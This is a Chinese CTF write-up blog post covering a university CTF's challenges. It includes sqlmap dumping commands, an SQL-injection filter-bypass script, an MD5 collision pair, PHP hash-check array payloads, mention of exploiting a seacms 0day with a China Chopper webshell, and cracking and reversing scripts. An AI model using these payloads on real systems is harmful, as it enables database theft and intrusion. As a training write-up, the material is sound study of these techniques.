ECNU CTF Writeup
难度不是很高的CTF,除了crypto没那个脑洞和时间去搞基本上都做出来了……
P.S. 题目名字非常智障看看就好。
土肥原贤二
加引号报错,非常基础的sqli,直接上sqlmap:
python sqlmap.py -u http://*/quest/web/a/index.php\?gid\=1 --tables
python sqlmap.py -u http://*/quest/web/a/index.php\?gid\=1 --columns -T flag
python sqlmap.py -u http://*/quest/web/a/index.php\?gid\=1 --dump -T flag -C "flag,id"
吴佩孚
给了一串文本,明显的base64特征,解密后是[]!之类的东西,看上去就是个js混淆
别急着解密,先F12执行看看,卧槽直接出flag了……连js都不用逆。
flag{sdf465454dfgert32}
死亡真相
给了一个音频文件,估计是隐写了
audacity打开,切到频谱图可以看到flag字样:
85a9d4517d4725_b9_8cbc9fd_554216
然而这并不是真正的flag,看了看是32位,尝试将
_
改成0,md5解密得flag……flag{hsd132456}
戴星炳
- 需要在2s内计算一个数学题,显然不是靠手工。
- 写个python脚本自动计算一下:
1
2
3
4
5
6
7
8
9from requests import *
r = get('http://*/web/a/index.php')
s = r.text.replace('</p>', '<p>')
s = s.replace('<p>', ';')
s = s.split(';')
res = eval(s[3])
r = post('http://*/web/a/index.php', data={'result': res})
print r.text
袁殊
给出了RSA publickey,看了看密钥长度很短爆破一下就行
python RsaCtfTool.py --publickey gy.key --verbose --private --uncipherfile fllllllag.txt
晴气庆胤
需要两个不同的文本,但是md5相同,看了看并没有常见的php哈希漏洞。
直接暴力MD5碰撞,搜一个就行
param1=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2 param2=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
池步洲
题目给出提示用户名和密码不能相同,应该就是哈希绕过了。
PHP SHA1绕过,发现还是invalid,可能还有二次校验,尝试传数组成功
Payload:
name[]=aaroZmOk&password[]=aaK1STfY
作战计划
- seacms 0day: http://0day5.com/archives/4180/
- 菜刀连接后根目录下即可找到
flag.txt
梅津美治郎
- IDA查看发现第一个密码就是字符串比较
r0b0RUlez!
- 第二个密码IDA中很难看出来,它是通过异常捕获后处理的,需要动态调试。
- 发现它是和一串文本比较,可惜的是它是在最后通过一系列处理后动态载入,下断点找到比较地址的值,写个程序,输出
w3lld0ne
1
2
3
4
5
6
7
8
9
10
11
12
13
typedef unsigned char byte;
byte s[]={0x75,0x31,0x6E,0x6E,0x66,0x32,0x6C,0x67,0x02};
int main(){
byte* p=s;
while ( *p != 2 )
{
printf("%c",*p ^ 2);
p++;
}
return 0;
}
大美晚报
题目给了个二维码,扫了发现是
where is the flag?
猜测是图片隐写,zip的注释写的密码是qq(数字),我们直接爆破就行
binwalk -e 1.png fcrackzip -b -v -c '1' -l 1-9 -u 164C.zip
吃个饭回来就好了……密码:674290437
冈村宁次
- 由URL中
id===QM
,输出id为1,猜测参数为base64翻转后的结果 - 试验了一下发现过滤了空格、
=
、select
、and
、or
、union
- 关键词通过双写绕过过滤,
=
通过like
绕过,空格通过注释绕过1
2
3
4
5
6
7
8
9from requests import *
import base64
sql = '1/**/aandnd/**/1/**/like/**/2/**/uniunionon/**/seselectlect/**/1,2,3,4,5,flag/**/from/**/flag'
sql = base64.b64encode(sql)
sql = reduce(lambda x, y: y+x, sql)
param = {'id': sql}
r = get('http://*/web/a/index.php', params=param)
print r.text
76
- 代码被混淆的很严重,基本上没法动态调试
- 强看IDA可以发现它就是一个函数把你的输入按每一位扔进去转,最后不出错就是flag了
- 复制进c文件,然而它还用了数组溢出的trick改写变量的值,我们需要手动改掉36个地址的值才能让程序跑起来……(里面地址还不是连续的卧槽)
- 按位爆破即可,然鹅我忘了加
memset
导致只跑了一半flag……查bug好久过了提交时间了……1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
int func(char s[]) {
int now = 0;
char ch;
char vis[128];
int result;
char* a1 = s;
int len = strlen(s);
while (2) {
if (now == len)
return 999;
memset(vis, 0, 0x80);
ch = *(unsigned char*)(a1 + now);
vis[(ch + 64) % 128] = 1;
if ((unsigned char)(ch - 10) <= 0x70u) {
switch (ch) {
case 10:
return now == 13 && vis[74] != 0;
case 48:
if (now || !vis[112])
return 0;
now = 1;
continue;
case 49:
if (now == 14 && vis[113])
goto LABEL_12;
return 0;
case 50:
if (now == 20 && vis[114])
goto LABEL_15;
return 0;
case 51:
if (now != 89 || !vis[115])
return 0;
now = 90;
continue;
case 52:
if (now != 15 || !vis[116])
return 0;
now = 16;
continue;
case 53:
if (now != 14 || !vis[117])
return 0;
LABEL_12:
now = 15;
continue;
case 54:
if (now != 12 || !vis[118])
return 0;
now = 13;
continue;
case 55:
if (now != 5 || !vis[119])
return 0;
now = 6;
continue;
case 56:
result = 0;
if (vis[121])
result = now == 33 || now == 2;
return result;
case 57:
if (now != 1 || !vis[121])
return 0;
now = 2;
continue;
case 97:
if (now != 35 || !vis[33])
return 0;
now = 36;
continue;
case 98:
if (now != 11 || !vis[34])
return 0;
now = 12;
continue;
case 99:
if (now != 32 || !vis[33])
return 0;
now = 33;
continue;
case 100:
if (now != 3 || !vis[36])
return 0;
now = 4;
continue;
case 101:
if (now != 7 || !vis[37])
return 0;
now = 8;
continue;
case 102:
if (!vis[38] || now != 8 && now != 4)
return 0;
goto LABEL_53;
case 103:
return now == 12 && vis[52] != 0;
case 104:
if (now != 13 || !vis[39])
return 0;
now = 14;
continue;
case 105:
if (now != 9 || !vis[41])
return 0;
now = 10;
continue;
case 106:
if (now != 10 || !vis[42])
return 0;
now = 11;
continue;
case 107:
return now == 12 && vis[43] != 0;
case 108:
if (now != 19 || !vis[44])
return 0;
now = 20;
continue;
case 109:
if (now != 17 || !vis[45])
return 0;
now = 18;
continue;
case 110:
return now == 18 && vis[45] != 0;
case 111:
if (!vis[46] || now != 6 && now != 28)
return 0;
LABEL_53:
++now;
continue;
case 112:
if (now != 30 || !vis[48])
return 0;
now = 31;
continue;
case 113:
if (now != 29 || !vis[49])
return 0;
now = 30;
continue;
case 114:
if (now != 20 || !vis[50])
return 0;
LABEL_15:
now = 21;
continue;
case 115:
if (now != 25 || !vis[51])
return 0;
now = 26;
continue;
case 116:
return now == 24 && vis[50] != 0;
case 117:
if (now != 26 || !vis[53])
return 0;
now = 27;
continue;
case 118:
if (now != 2 || !vis[54])
return 0;
now = 3;
continue;
case 119:
if (now != 6 || !vis[55])
return 0;
now = 7;
continue;
case 120:
if (now != 22 || !vis[56])
return 0;
now = 23;
continue;
case 121:
if (now != 23 || !vis[57])
return 0;
now = 24;
continue;
case 122:
return now == 21 && vis[33] != 0;
default:
return 0;
}
}
return 0;
}
}
int main() {
char flag[100];
memset(flag, 0, 100);
for (int i = 0; i < 100; ++i) {
char tmp[100];
memset(tmp, 0, 100);
strcpy(tmp, flag);
for (int j = 10; j <= 122; ++j) {
tmp[i] = (char)j;
int ret = func(tmp);
if (ret == 999) {
flag[i] = (char)j;
printf("%s\n", tmp);
break;
}
if (ret != 0) {
printf("Flag: %s", flag);
return 0;
}
}
}
return 0;
}
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Matrix!
评论